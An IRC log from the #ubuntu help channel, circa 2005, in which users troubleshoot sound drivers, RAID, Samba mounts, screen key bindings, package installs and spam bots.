Concord_DawnQMario, yes.05:06
bytefooyeah, but for me it freezes everything for a split second every few seconds :-/05:06
XRangemaster008: try system , admin , networking in gnome in ubuntu05:06
bytefoocan't even type lol :X05:06
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robotgeekQMario: yeah05:06
Concord_DawnI have it working05:06
QMarioHow do I set it up?05:06
bytefooit is sweet lookin though :-/05:06
Concord_Dawnone sec, lemme grab you the page05:06
Concord_DawnQMario: http://gmail.google.com/support/bin/answer.py?answer=1328505:07
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master008thanks you so much guys05:07
Concord_Dawncan anyone here add definitions to ubotu05:07
Concord_Dawnno problem master00805:07
naliothQMario: log into your gmail account using a browser, and therer is a link there to set up your client05:08
Concord_Dawnnalioth, I just gave him the link :)05:08
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bimberiConcord_Dawn: you can :)05:08
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bimberi!tell Concord_Dawn about add05:08
naliothConcord_Dawn: great! concurrence is good security05:08
rendiguy's anyone know about change gateway ?05:09
XRangeis there channel for cups05:09
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cafuegoOooher05:09
XRangeis there channel for cups in ubuntu05:09
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XRangegot printer working in openoffice but not other apps05:09
krazikamikazeanyone here had any success getting the IT8212 raid controller to work in linux?05:09
krazikamikazeim sooo close but im completely stuck05:09
cafuegokrazikamikaze: Isn't that software raid?05:10
Concord_Dawnubotu gmail is Instructions to configure GMail with a POP3 client are located at http://mail.google.com/support/bin/answer.py?ctx=%67mail&hl=en&answer=1210305:10
ubotuokay, Concord_Dawn05:10
XRangeevolution, mozilla-firefox want print05:10
krazikamikazeno its hw05:10
rendi!gateway05:10
uboturendi: I give up, what is it?05:10
levanderHow do I attach multiple terminal windows to the same screen session?05:10
cafuegokrazikamikaze: An on-mobo chip?05:10
krazikamikazeyeah05:10
Concord_Dawnlevander, what do you mean?05:10
cafuegosoftware then05:10
cafuegothe software being the bios on that chip05:10
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krazikamikazeeh.. ok05:10
funkyHatlevander, C-a c05:10
Concord_Dawnlike have a tabbed terminal?05:10
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cafuegoused it in ide mode and use the kernel 'md' driver05:10
bytefooyeah, there are very few HW raid cards :X05:10
levanderConcord_Dawn: I want to have two terminal windows attached to the same screen session.05:10
Concord_Dawnlike have a tabbed terminal?05:10
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levanderConcord_Dawn: screen is an application, you know the application screen?05:11
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Concord_Dawnno.05:11
Concord_DawnI don't.05:11
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pprince_screen rocks.05:11
masterlokihi there can't someone help me05:11
cafuegobytefoo: there's nots, but they're invariable NOT integrated into a mobo and cost at LEAST five times as much as the mobo you'll be using it with :-)05:11
funkyHatlevander, this guide is very good: http://gentoo-wiki.com/TIP_Using_screen05:11
XRangelevander: try gnome-terminal konsole05:11
krazikamikazewhat is md, its currently loaded on my system05:11
Concord_Dawnmasterloki, we can try :)05:11
XRangelevander: try gnome-terminal are konsole05:11
masterlokiI have no sound and I've already been on the forums05:11
bytefooexactly cafuego05:12
cafuego!raid05:12
ubotufrom memory, raid is https://wiki.ubuntu.com/RaidConfigurationHowto05:12
masterlokiAlsa seems to have the proper driver05:12
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funkyHatXRange, that's probably not what levander wants05:12
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levanderfunkyHat: thanks, that does look like a good guide05:12
cafuegoAlthough, I think the one on my mobo won't run in IDE mode.05:12
XRangemasterloki : try system, perefences, multimedia system selector05:12
masterlokiand alsa mixer shows that master & PCM are at 100%05:12
levanderXRange: yeah, I use terminal applications for different stuff than screen.05:12
cafuegokrazikamikaze: Do you have spare normal DIE ports on the mobo?05:12
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cafuegos/DIE/IDE/05:12
intelikeymasterloki it's not muted ?    sudo alsamixer05:12
krazikamikazei have 105:12
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krazikamikazeso anyway, i can see the hd, i can see the partitions05:13
levanderfunkyHat: you use emacs and screen?  Need to remap screens C-a prefix to all it's commands, but not sure what a good thing to remap it is.  Emacs uses C-a to go to the beginning of the current line.  Having the two conflict really sux.05:13
cafuegokrazikamikaze: Ah that's fine then.05:13
masterlokiintelikey: nope, it's not muted05:13
krazikamikazebut every time i try to mount it says its busy or "already mounted"05:13
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funkyHatlevander, no, i use vim05:13
krazikamikazewhich its not05:13
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krazikamikazeim using the 2.6.11-ac705:13
Gazer_Evening.. how do you enable dma on a cdrom drive on a PPC G3 Lombard?  How do you know what the cdrom is referred to?05:14
funkyHatok, levander there is an escape code to use C-a in the application that is running, it's in that guide somewhere05:14
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XRangegot printer working in openoffice but not other apps like evolution & firefox05:14
rendiguy's05:14
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rendimany spamer there05:14
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cafuegoGazer_: it'd be /dev/hdb or /dev/hdc probably.05:14
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professor_chaosQuestion? With a new drive, do I need to fdisk, or can I just mkfs? To create ext3...05:14
konra`I am trying to run something, and I get an error: "error while loading shared libraries: libSDL_image-1.2.so.0: cannot open shared object file: No such file or directory" what do I need?05:15
cafuegoprofessor_chaos: fdisk to create a partition, then mkfs05:15
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krazikamikazeany idea why it would give me that error though?05:15
krazikamikazemount: /dev/hde5 already mounted or rdata0 busy05:15
professor_chaoscafuego, a new disk is not already a partiton???05:15
bytefoonow i have to fix my wireless :-/05:15
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keithack guys i really need help- no matter what i try to insatll on the package manager it returns a problem with kmix:05:15
keithE: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline05:15
krazikamikazeneither of which is true05:15
cafuegoprofessor_chaos: of course not05:15
keithand i cant install anything05:15
konra`professor_chaos, you have to create partitions, and then format them05:15
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levanderfunkyHat: yeah, but don't think I want to hit the escape code every time I want to go to the beginning of the line in emacs.  Think it would just be easier to remap C-a in screen to something else.  Not sure what the best thing to re-map it is, to avoid as many conflicts as possible with emacs.05:16
fanopnaickonra`: you probably need to install libsdl-image1.205:16
konra`professor_chaos, partitions are made by fdisk, formatted by mkfs05:16
professor_chaoskonra`, but a new disk doesn't have a partition?05:16
konra`fanopnaic, cna I do that from synaptic?05:16
fanopnaicYep05:16
funkyHatlevander, perhaps C-\05:16
konra`professor_chaos, it might, but safest bet is to make the partiton table anyways05:16
professor_chaoskonra`, cafuego Thanks05:17
konra`welcome05:17
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levanderfunkyHat: that's not a bad guess.  I just tried it in emacs.  C-\ enables some kind of multi-lingual input I'll never need, because I only speak one language.05:17
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funkyHat:)05:18
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funkyHatand you can escape it anyway if you ever do need it05:18
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professor_chaoswhats with the free sex cameras???05:18
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levanderfunkyHat: I would use C-q, but not sure if it would matter that I'm conflicting with the control flow sequence.  You know, C-q and C-s?05:18
intelikeymasterloki you can do "play <any-sound-file> & od /dev/dsp "  [ctro] +C to stop od   if it outputs lines of numbers to the screen the software is working, possably wrong card selected or other (hardware) problem    if no output setup alsa again05:18
levanderprofessor_chaos: free sex cameras?05:18
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bimberiprofessor_chaos: the channel is being infested by spambots - see last bit of /topic05:18
funkyHatlevander, the spambots05:18
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carthikprofessor_chaos, please read the /topic05:18
funkyHatprofessor, do /umode +CE05:18
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professor_chaosOK, I'm new to irc and this channel!05:19
rendidude05:19
rendimany many spam here05:19
carthikprofessor_chaos, it's all fine...05:19
intelikeywe need some boticide.....05:19
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funkyHatrendi, read the /topic05:19
carthikone more mention of spam, and that's it - i will get a job at walmart!!!05:20
funkyHathahaha05:20
carthik;)05:20
bimberispam :)05:20
intelikey:)05:20
masterlokiintelikey: got number, but I'm sure I got the right card and the right driver05:20
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funkyHat!spam05:20
ubotuparse error: dunno what the heck you're talking about, funkyHat05:20
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masterloki!spam05:20
bimbericarthik: lol05:21
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intelikeycheck speakers speakerwires propper port plug ,,,,, masterloki05:21
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bytefoowhen a package is not available, but is referred to by another package...how do I find out which package is referring to it and what is it saying about the missing package? o_O05:21
funkyHatubotu, spam is a problem that is affecting #ubuntu at the moment, to overcome it please type '/mode *your nickname* +CE' and hit enter05:21
ubotufunkyHat: okay05:21
masterlokiintelikey: They're in the right jack, they work on XP05:21
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tjsIm running ubuntu on my dell inspiron 9200, having issues with the disks powering down to quickly. im not sure if its a laptop power management thing.. but stuff like tab completing paths is taking seconds while the disk spins up, its a PITA05:22
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masterlokiman someone is spamming me05:22
tjscan I make it stay powered up for a few minutes?05:22
bytefoo:|05:23
runelindI am having issues mounting a windows networked drive05:23
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bytefoomarital issues? :D05:23
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runelindI do mount -t smbfs username=username //ip/share /mount/point05:23
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intelikeyhmmmm masterloki you've got a good one then.  i don't know what to tell you...  if the software is outputing sound to the device and the hardware all works correctly it should work......05:23
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runelindand after putting in my password it seems happy05:23
runelindbut when I ls the dir I get permission denied05:23
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funkyHatmasterloki... see what i just said to ubotu ^05:24
Chrustinhohow can i delete softlinks?05:24
pprince_with rm05:24
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runelindanyone have any thoughts?05:25
intelikeyChrustinho man rm05:25
masterlokiintelikey: I was using FC4 and sound was right05:25
pprince_ln -s /path/to/realfile /path/to/newsymlink makes a symlink, rm /path/to/newsymlink removes it.05:25
Chrustinhois i sure that it doesn't delete the source files?05:25
Chrustinho+t05:25
pprince_Yes.05:25
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Chrustinhook, thanks05:25
intelikeyChrustinho man rm05:25
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masterlokibut I've erased FC4 totally so I can't get that config05:26
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masterlokiany ideas05:26
runelindthe user has full permissions on the windows side of thing05:26
runelinds05:26
lunitikmasterloki, you know what module you need?05:26
funkyHatmasterloki, try setting your default inputs and outputs to alsa, and run killall esd in a terminal window05:27
professor_chaosrunelind, why would linux care about M$ permissions...05:27
masterlokiLunitk: I have the module (snd-via82xx)05:27
runelindcause I'm mounting a windows drive05:27
Madpilothi everyone05:27
lunitikfunkyHat, thats bad advice... too many apps default to using esd... but gnome etc uses gstreamer (which is all that changes)05:27
bytefoowhat is PREFIX?05:28
masterlokifunkyHat: who do I set ins ans outs to alsa05:28
funkyHatlunitik, i'm just fishing for clues05:28
n1xt3rrunelind: read the man page for mount, try setting uid and gid or umask05:28
professor_chaosrunelind, I think you either have access or don't. Not read only. I might be wrong, prove it.05:28
funkyHatmasterloki, system, preferences, multimedia systems selector05:28
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lunitikmasterloki, that is loaded? sudo -i ... then in the resulting root environment... echo /dev/urandom > /dev/dsp05:29
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lunitikmasterloki, this sees if the module itself is working...05:29
funkyHatmasterloki, as lunitik said all that is changing is the gnome sounds, if that does work, you will have to chage your settings in other applications05:29
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intelikeylunitik a sound file would be better than /dev/urandom   ;/05:30
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ubuntuok, im so confused i can't find anything,lol, but I finally have run a live cd and connected to internet, can someone tell me link to how to save my live settings? im tired of searching.................05:30
masterlokiman let me change to Gnome05:30
lunitikintelikey, you know where one is located?  cuz I can't be asked to go in search of one  :/05:30
funkyHat/usr/share/sounds/*05:31
ubuntuin others words, is thee a specefi app?05:31
qt2shouldnt using synaptic to install nvidia drivers automatically set up 3d acceleration?05:31
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funkyHatqt2, there is an instruction in the description of the nvidia-glx package, did you follow it?05:32
ShadowUBHi, I am trying the live install of Ubuntu and am having some problems05:32
ShadowUBcan someone please help?05:32
ubuntuok.............05:32
paulproteus|laptShadowUB: It's not a "live install", just a "live CD".05:32
paulproteus|laptIt doesn't install anythingl.05:32
lunitikShadowUB, if you ask ... sure05:32
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ShadowUBi meant live cd05:32
paulproteus|lapt!asktoask05:32
ubotumethinks asktoask is We'll never know what your question is unless you ask it.  Don't ask if you can ask; don't ask if we can answer a question - ask a question!05:32
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lunitikubuntu, welcome to IRC... /nick somethingelse05:32
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ubuntucrap, i think im invissable05:32
ShadowUBok say i try to play a file, i get an error to check if totem was installed correctly05:32
ubuntulol05:32
ShadowUBand the same thing for almost all the other apps05:32
ShadowUBthe only stuff that works is firefox and gimp, even gimp throws some errors05:33
ShadowUBis this normal or .. what am i doing wrong?05:33
professor_chaosubuntu, why are you booting over and over to the live CD instead of installing???05:33
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ShadowUBme? this is the first time ive ever tried ubuntu period05:33
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ShadowUBi wanted to experience it a bit05:33
MadpilotShadowUB: there's no mp3 support on the LiveCD, of that's what you're trying with Totem...05:34
ShadowUBbut.. its not really working :)05:34
professor_chaosubuntu, I don't really know the answer to you question, I didn't think anyone would want to do that?05:34
ShadowUBah05:34
lunitikShadowUB, thats not normal... however I'm not sure exactly what the issue would be...05:34
ShadowUBso mpg files wont play either, i gather05:34
lunitikShadowUB, mdz would be the man to ask about all things livecd ... he maintains it ...05:34
ShadowUBgotcha05:34
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ShadowUBi like the look of this distro and am going to set it up, just wanted to get a feel for it :)05:34
lunitikShadowUB, the LiveCD doesn't include codecs etc... you can however grab them after install...05:34
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lunitikShadowUB, legally, Ubuntu cannot distribute these things... but others are kind enough to do so instead  :)05:35
ShadowUBi gotcha05:35
ShadowUBim impressed that it was able to read all my ntfs volumes05:35
lunitikShadowUB, simularly, GIMP can't open some document types by default...05:35
ShadowUBand find my windows network without problems05:35
ShadowUByep..05:35
lunitikShadowUB, :)05:36
ShadowUBthe errors i got with gimp.. uhh let me run it05:36
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ShadowUB"failed to open file /usr/share/gimp/2.0/menus/toolbox-menu.xml"05:36
ShadowUBfaled to open a bunch of other files.. but its running05:36
masterlokilunitik: Ok in the first option with pipeline alsasink I've got an error05:36
lunitikmasterloki, whats it say?05:37
MadpilotShadowUB: do all the GIMP toolboxes look like they're there?05:37
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ShadowUByes, Madpilot05:37
masterlokilunitik: can't not build testing pipeline fot ALSA05:37
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ShadowUBtrying the device manager, id like to see how much of my stuff it detected05:37
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lunitikmasterloki, blah... ls /dev/dsp  ... is it there?05:37
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masterlokilunitik: nope05:38
lunitikmasterloki, 'sudo pkill -HUP esd' if it is, and try again05:38
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lunitikmasterloki, ahh... lsmod | grep snd  ... you sure its there?05:38
lunitikmasterloki, (the module - snd-via82xx)05:39
masterlokilunitik: The module is there05:39
lunitikmasterloki, if its any consolation... I know Ubuntu works with it.. because thats what my other box uses  :)05:39
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Carpe_LibertatemHey - I need a distro reccomendation for a friend. It's a laptop with a P1 266mhz Chip, 2gb HDD, and 64 MB of RAM.05:39
|Imp|windows 9505:40
masterlokilunitik: I've killed esd now what05:40
intelikeylol05:40
naliothCarpe_Libertatem: damn small linux05:40
lunitikmasterloki, strange... 'dmesg | grep audio' return anything?05:40
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lunitikmasterloki, doesn't matter for now... your kernel isn't recognizing your sound...05:40
masterlokilunitik: Nothing05:40
lunitiks/sound/sound card/05:40
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ShadowUBquestion..05:41
phunkinayecan i run ubuntu on atari 800?05:41
masterlokilunitik: Should I rebuild the kernel05:41
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intelikeyCarpe_Libertatem that will run any linux distro, if you like cli .   other wise.   go with the  95 sujestion05:41
lunitikmasterloki,05:41
lunitikno05:41
masterlokilunitik05:41
ShadowUBi 'm missing a drive.. i have cdrom, E (USB) and an F (firewire) drive.. how do I access drives C and D: :)05:41
lunitikmasterloki, wait... is it a custom kernel?05:41
Carpe_LibertatemIt won't run anything with a GUI?05:41
ShadowUBtwo 120 gig drives.. any ideas?05:41
masterlokilunitik: Nope is the one packed05:41
|Imp|Carpe_Libertatem, nope05:42
ShadowUBthey're ntfs formatted, jsut like the externals05:42
|Imp|too little ram05:42
masterlokilunitik: but I've got K7 AMD05:42
lunitikmasterloki, ok... then no  :)05:42
|Imp|if you can get 256 ram into it05:42
|Imp|then you can run gui05:42
lunitikmasterloki, same exact thing I used to have... very strange  ;(05:42
naliothCarpe_Libertatem: try "damn small linux" you (and your friend) might be surprised05:42
intelikeyCarpe_Libertatem it will run a linux GUI but you will be into swap space all the time and with that setup they will dever be pleased.05:42
ShadowUBnautilus doesnt work..05:42
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Carpe_LibertatemCan DSL format a HDD and install itself onto it?05:43
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naliothCarpe_Libertatem: it is a live/installable distro all on one disk05:43
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naliothhowdy tritium05:43
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Carpe_LibertatemAll right. I reccomended that earlier in passing, but I did not know if it could install itself or not. :-P05:43
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Carpe_LibertatemDanke schoen.05:43
tritiumhey nalioth :)05:44
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Chrustinhodoes anyone know a fast audio cd ripper. I am using abcde, but i had some windows cd rippers which were much more faster...05:44
iratsuwhere can i fetch info about the CPU and motherboard i'm running?05:44
bytefooit's actually schoene ;)05:44
lunitikmasterloki, you have OSS modules loaded?05:44
bytefoosince you can't make an umlaut :o05:44
naliothChrustinho: try grip05:44
masterlokilunitik: dunno05:44
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naliothiratsu: at a terminal, type "cat /proc/cpuinfo"05:45
intelikeypci card lunitik05:45
Chrustinhodoes grip rip faster than with the original speed (1x)?05:45
masterlokilunitik: how do I check05:45
pepealright here goes again05:45
lunitikmasterloki, lsmod | grep snd   .... anything stating 'snd_pcm_oss'?05:45
pepeI've been working on this for a while, and I still have no sound whatsoever05:45
naliothChrustinho: try it. also you can search in synaptic for "ripper" or look at freshmeat.net or sourceforge.net05:45
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ShadowUBcould someone help me access the missing drives on my system?05:46
phunkinayehey, can anybody see me?05:46
MadpilotChrustinho: Sound Juicer gets up to 2.7x for me...05:46
pepeactually05:46
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lunitikphunkinaye, nope... sorry05:46
phunkinayehaha05:46
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phunkinayeok05:46
masterlokilunitik: snd_pcm_oss is emptu05:46
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masterlokilunitik: snd_pcm_oss is empty05:46
pepeI give up, I'll just throw gentoo on this box, and that'll fix everything05:46
deprave.deb packages are auto packages right?05:46
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Chrustinhonalioth: ok, i know, but perhaps someone had some experiences with a good and especially fast ripper05:46
pepeso much for giving Ubuntu a shot, geez05:46
lunitikmasterloki, thats fine...05:46
pprince_Chrustinho: If you asking, does a CD ripping program read data from a CD faster than the length of time it takes to play the music on it, then yes.05:46
bytefoo:/05:46
masterlokilunitik: but snd_pcm has snd_pcm_oss05:46
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deprave.deb packages are auto packages right?05:46
lunitikmasterloki, its loaded... thats a good thing...05:46
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pprince_pepe: haha, as a Gentoo and Ubuntu user I find your comment humorous.05:47
deprave.deb packages are auto packages right? or how do you go about installing them, dpkg -i?05:47
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Dragon513a.. I just installed the new ATI Radeon driver and on the ATI control panel it says "transfer mode" is "PCI"05:47
Dragon513i use 960005:47
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killapop[OFF TOPIC]  sorry - is there any way to avoid getting spammed?05:47
Dragon513shouldn't it be AGP 8X?05:47
lunitikmasterloki, bah.... enless intelikey has any better ideas... restart... Ubuntu really doesn't have any nice sound config tools  :/05:47
bytefoolook at the topic :|05:47
paulproteus|laptkillapop: Yes, see topic.05:47
Guardianwhats with all the spammers05:47
pepepprince: how come?05:47
pprince_deprave: They're best installed from the net, from an official Ubuntu repository, with Synaptic, aptitude, or apt-get.  They autoresolve dependencies.  Using dpkg like that is as bad as... rpm.05:47
killapopOoops!!!05:48
naliothChrustinho: i can't remember the last time i ripped a cd, so won't be much help05:48
masterlokilunitik: is something for a to-do list05:48
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naliothdeprave: .debs are not autopackages05:48
bytefooi can't remember the last time I owned a cd :X05:48
naliothkillapop: see /topic05:48
pepepprince: my two reasons thus far for not just installing gentoo on this are because emerging would take a while on this compy (it's pretty old), and I can't really teach my grandfather how to use gentoo -.-05:48
Chrustinhook, thanks, folks :)05:48
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naliothGuardian: see /topic05:48
lunitikmasterloki, indeed... someone really should work on porting Fedora's system-config-sound to Ubuntu... but I digress...05:48
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pprince_pepe: I've yet to encounter a system Ubuntu didn't run perfectly on, but of course there are some.  What's your issue?05:49
lunitikmasterloki, sometimes, rebooting fixes the sound... has here before (on that same configuration)05:49
Guardianthanks05:49
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stoeptegelargh damn spammers (why do they even think i'am gone hit the url? :s)05:49
pepemy sound refuses to work... at all05:49
pepewhich is strange because I'm on a VIA AC97, not some obscure sound card05:49
pprince_stoeptegel: It's a numbers game.  Apparently enough people do to make it worth the effort to spam.05:49
naliothstoeptegel: see /topic for a barrier to them05:49
masterlokilunitik: I read the forums and rebooted several times, with the thing posted there but let give it a try05:50
lunitiktritium, not everyone is using IRSSI ... tell people about /mode <your_nick> +CE instead05:50
pprince_pepe: Do you see your sound hardware being detected in dmesg?05:50
paulproteus|laptlunitik: /umode works for me in gaim, fwiw05:50
bytefoosomeone should port HWD from archlinux to ubuntu :|05:50
pepeI haven't noticed that05:50
pepelspci does detect it though05:50
pepehm05:50
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lunitikpaulproteus|lapt, it doesn't work in XChat... so its not a valid mechanism...05:50
pprince_lspci shows all PCI devices, supported or not.05:50
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pprince_pepe: ^^05:50
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paulproteus|laptbrb, all05:51
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tritiumlunitik, it works in xchat too05:51
lunitiktritium, no, no it doesn't.05:51
pepewhat should I grep to check that, then? O.o05:51
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tritiumlunitik, I'm using xchat, dude, and I did it...05:52
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pprince_pepe: dmesg | grep recently after a reboot, or perhaps /var/log/dmesg05:52
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pepewell yes, but what exactly do I grep? :P05:52
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pepedmesg | grep *?05:53
lunitikpprince_, uhhh... grepping for nothing?05:53
pprince_pepe: I would just read through it, or look for things like sound, 97, snd, etc05:53
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tritiumlunitik, make sure you're using capital letters ;)05:53
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pprince_lunitik: I thought he meant what file/command output does he grep, not what fo.05:53
masterlokilunitik: Back and no sound :-\05:53
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pepeanyways05:54
pepeI don't see it in there05:54
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lunitikmasterloki, I don't know what to tell you man... this is an ongoing issue with Ubuntu though... someone with the technical knowledge should do something about it...05:54
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pepehow do I get it to load, then? heh05:54
lunitikmasterloki, I have ran you through all the steps I take... and I always get sound to work.05:54
funkyHatlunitik, the issue is esd ;)05:54
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funkyHatit's nice if it works (and if you can cope with the delay ;);))05:54
lunitikfunkyHat, no... no its not... I'm using esd... and he killed esd  :/05:54
pepesound really does seem to be a huge issue in Ubuntu, forum's swarming with posts, yet no solutions05:54
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intelikeyyou can run any command from xchat that you can type in a command propmt.....      /exec <command>05:55
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depravehow do i install a .deb file05:55
lunitikintelikey, /exec -o even lets us see it  ;)05:55
pepewell, when I try to change the sound output system to ALSA, it says it can't make a test pipeline to it...05:55
intelikeyor any other irc client i've ever used05:55
lunitik 20:55:46 up  4:38,  2 users,  load average: 0.09, 0.11, 0.1605:55
Madpilotpepe: true - some of us where lucky enough to have it work out of the box, though. (AC/97 onboard sound, no problem at all...)05:55
tritiumdeprave, with dpkg -i05:55
lunitikhaha @ that being weak... but yeah  :)05:55
depravethanks thought so05:55
intelikeylunitik yeah i left the -o out on purpose05:56
tritiumdeprave, man dpkg for more info ;)05:56
|Imp|how can i use xnest to run two sessions at once?05:56
masterlokilunitik: let's see I've got VIA8235 card and snd-via82xx driver, alsamixer says PCM and Master are at 100%. Anything else??05:56
lunitikintelikey, its useless for seriously moronic users  ;)05:56
lunitikmasterloki, dude... you don't have a /dev/dsp ... this means the kernel has no idea about how to control your soundcard...05:57
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lunitikmasterloki, it knows about it to some extent due to it (likely) showing up fine in lspci ... but alas, it can't do anything with it...05:57
masterlokilunitik: How do I set this up05:57
|Imp|how can i use xnest to run two sessions at once?05:57
|Imp|i want to use gdm from a nested window05:58
lunitikmasterloki, grrr... it should be working... all your correct sound modules are loaded... idk what is wrong05:58
pepeI'm guessing there's no way to do a make menuconfig kernel edit to make sure everything's all set in the kernel for Ubuntu, is there?...05:58
pepenot without changing around tons of other settings that is05:58
tritiumpepe, if you want to compile your own, you can do that...05:58
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pepeI don't mind that ^^05:59
Dreamer3are changes to dev in ubuntu not sticky?05:59
Bored1edhello all05:59
intelikeypepe masterloki you both need to "man modprobe"05:59
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|Imp|hello?05:59
tritium|Imp|, is xnest installed?05:59
lunitikpepe, that won't do much... most you can do is compile the module into the actual kernel... but it won't fix the issue... the driver is loaded, and its not working05:59
|Imp|tritium, yup05:59
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lunitikintelikey, the modules are loaded.06:00
tritium|Imp|, you should be able to open a new login in a nested window from Applications->System Tools06:00
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|Imp|how do i reset gnome?06:00
masterlokiintelikey: I have the proper drivers06:00
bytefooctrl+alt+backspace06:00
lunitik|Imp|, you log out and back in06:00
bytefooor that :-/06:00
Dreamer3how do i make a changes to /dev/ stay in place?06:00
pepevery well, then what module should I modprobe? modprobe alsa?06:01
lunitikDreamer3, what are you trying to do?    modules.conf  :/06:01
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Dreamer3lunitik: the qemu install created an entry with certain permission in dev... and it's gone after a reboot06:01
intelikeyDreamer3 you script them and let the script run at startup or stop using udev  or edit udev.conf  or should i go on ?06:02
pepeoh interesting06:02
melfykImp: to restart the gui you press ctrl+alt+bkspace06:02
pepeapparently, I only have about 6 modules to be loaded at boot time06:02
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pepenone of which have anything to do with sound...06:02
Dreamer3intelikey: hmmmm, is not using udev a valid option?06:02
pepe...06:02
lunitikpepe, yeah... thats bad  ;)06:02
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lunitikpepe, you know the correct module?06:02
phunkinaye"Sessions" is how I would save my current settings, correct?06:03
pepeno :-\06:03
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lunitikpepe, what does lspci say about it?06:03
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masterlokilunitk intelikey pepe, hold on I read that id you install alsa-oss it might wotk06:03
pepe0000:00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60)06:03
intelikeyyes but it will eliminate 'hotplug' also   thus usb devices will require mounting and unmounting ...    not the best of ideas...06:03
tritiumintelikey, see /usr/share/doc/udev/README.Debian.gz06:03
lunitikpepe, haha... same thing as masterloki ;)06:04
tritiumyou can disable udev06:04
pepe:P06:04
lunitikpepe, modprobe snd-via82xx06:04
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masterlokilunitk intelikey pepe, this won't work??06:04
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lunitikmasterloki, try it06:04
masterlokiOk06:04
lineagehello all, i need some help please...i'm trying install a dvd game by cedega, but appears this:06:04
pepelunitik I did... don't get nothing06:04
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depraveanyone have success installing scribus 1.3 ?06:05
intelikeyno error means no error.06:05
lineagehello all, i need some help please...i'm trying install a dvd game by cedega, but appears this::06:05
lineagearea51@mark:/cdrom$ sudo cedega  /mnt/cdrom/setup.exe06:05
lineagewine: '/home/area51/.transgaming/wineserver-mark' is not owned by you06:05
dreamiewhat is the program to watch dvds in ubuntu?06:05
|Imp|hey, how do i get XDMCP chooser to work with xnest?06:05
lunitikpepe, is /dev/dsp there06:05
paulproteus|laptlineage: Do:06:05
lunitik?06:05
pepealright, just double checking here, how do I check exactly what modules I have loaded again? I may have checked in the wrong place..06:05
deprave.j scribus06:05
paulproteus|laptsudo chown -R area51.area51 /home/area51/06:05
Carpe_Libertatemdreamie: I use Xine, but you can use other programs.06:05
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lunitikpepe, lsmod06:06
pepeyup, dsp exists, thankfully06:06
paulproteus|laptCarpe_Libertatem: Good to see you back.06:06
pepeoh06:06
lunitikpepe, you want lsmod | grep snd though06:06
pepethere we go ^^06:06
dreamieCarpe_Libertatem , is that installed? or do i have to install it? where do i get it?06:06
lineagethanks paulproteus|lapt  i'll try06:06
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pepehmmm06:06
lunitikpepe, your sound should be ok then... try restarting GNOME and see if it makes any noise  :)06:06
pepealright...06:06
Bored1edhow do u use xine?06:06
Thread-xgnite fellows.. im working with ubuntu . . and im getting this the keyboard and06:06
Dreamer3intelikey: so, i have to script changes?06:06
Thread-x> mouse buttons go haywire. Keys repeat like ccccccccccraaazzzzzzzzyyy and06:06
Thread-x> mouse button clicks register erratically. As a result, the desktop is06:06
Thread-x> unusable.06:06
pepebrb then06:06
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Carpe_Libertatemdreamie: Not installed by default, you need to run a terminal and apt-get it, or use Synpatic. Type in Xine at the search.06:06
lineagenothing happens paulproteus|lapt06:07
lunitikpepe, if it does... type the module name in /etc/modules so you don't have to keep modprobing06:07
lunitikGRRRRRRRRRRRRRRRRRRR06:07
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lunitikDreamer3, bed time?06:07
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paulproteus|laptlineage: If it finished, try Cedega again.06:08
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ksmurfhello all 2 questions.  First is there someway to uninstall the Official Driver for Nvidia.  2nd Is Nvidia-glx working?06:08
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ksmurffor Breezy06:08
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dreamiehow do i create a password for root?06:08
NoUse!root06:09
ubotuI heard root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo06:09
Carpe_Libertatemdreamie: You don't use root. Use sudo.06:09
pprince_dreamie: sudo passwd, but don't do it, as stated.06:09
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pprince_dreamie: you can do anything with sudo you can do with root, and sudo -s is handy.06:09
connorphi06:09
carthikdreamie, and if you are missing hte # prompt do sudo -s -H06:09
tritiumor sudo -i06:09
masterlokilunitik, any progress06:09
ksmurf!nvidia breezy06:10
ubotuksmurf: Syntax error in line 106:10
lunitikmasterloki, he hasn't come back yet  :/06:10
connorpim new to ubuntu..any tips for a new user?06:10
ksmurf!nvidia06:10
uboturumour has it, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia06:10
lunitikmasterloki, you install alsa-oss?06:10
dreamiei am in terminal and i want to install xine... how do i do this if it asks me for root06:10
masterlokilunitik, yep but didn't work06:10
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lunitikdreamie, sudo apt-get install foo06:10
intelikeyDreamer3 the changes you make to /dev   'for what ever reason'  can all be saved to one file.  close your terminal and open one then edit .bash_history and save the exact commands that fixed your /dev/  to one file. (note remove any 'sudo' s )  save the fils as S99fix_dev  chmod the file 740  and put it in /etc/rcS.d    there you go can i do it for you ?06:10
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pepestill no go on my sound system06:10
paulproteus|laptlineage: Any luck?06:11
lunitikpepe, did you restart the system... or just GNOME?06:11
pepethe system06:11
lineagepaulproteus|lapt,  nothing.06:11
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lunitikpepe, bah06:11
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dreamiecan't find package06:11
pepeO.o06:11
pepeooo06:11
pepewhoops? ^^06:11
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kelly_please help... my modem does not work...06:11
lineagejust one question, sudo chown -R area51.area51 /home/area51/ <- this is exactly for what ?06:11
Dreamer3intelikey: thanks, that's almost step by step :)06:11
kelly_i have tried all...option...06:11
depravejesus the spam on this network is terrible06:11
lunitikpepe, sudo nano /etc/modules  ... and throw 'snd-via82xx' in there again06:11
ksmurfdoes nvidia glx work for breezy yet?06:11
bytefoowhat can i use to burn .iso files :|06:12
pepelsmod does say the snd_via82xx module is loaded though06:12
Dreamer3wow, are sex bots more active than usual?06:12
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pepeit's there lol06:12
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pepeit seems to be loading on startup anyways06:12
lunitikpepe, restarting will have put you in the same situartion again06:12
carthikDreamer3, yeah -- full-moon -- horny bots.. the works....06:12
pepeI don't think I changed anything though...06:12
Dreamer3carthik: that sucks06:12
lunitikpepe, bah... its in lsmod ... but isn't working?06:12
pepenope06:12
bytefooalsamixer? :D06:12
carthikDreamer try /umode +CE to bar them06:12
lunitikpepe, you mean yes?06:12
intelikeyDreamer3 if you really want it to be up to code,  start the file with "#!/bin/sh "   <--- that line without the quotes...06:13
pepeit's not working06:13
pepeI get no sound06:13
lunitikpepe, and /dev/dsp is still around?06:13
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pepethe Volume Meter, though, seems to think there's sound coming out pretty much ok whenever I play a sound file06:13
Dreamer3intelikey: i know how to write a bash (or sh) script :-)06:13
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dreamieis there another dvd viewer except xine?06:13
lineagejust one question, paulproteus|lapt,  sudo chown -R area51.area51 /home/area51/ <- this is exactly for what ?06:13
pepeyup dsp still there06:13
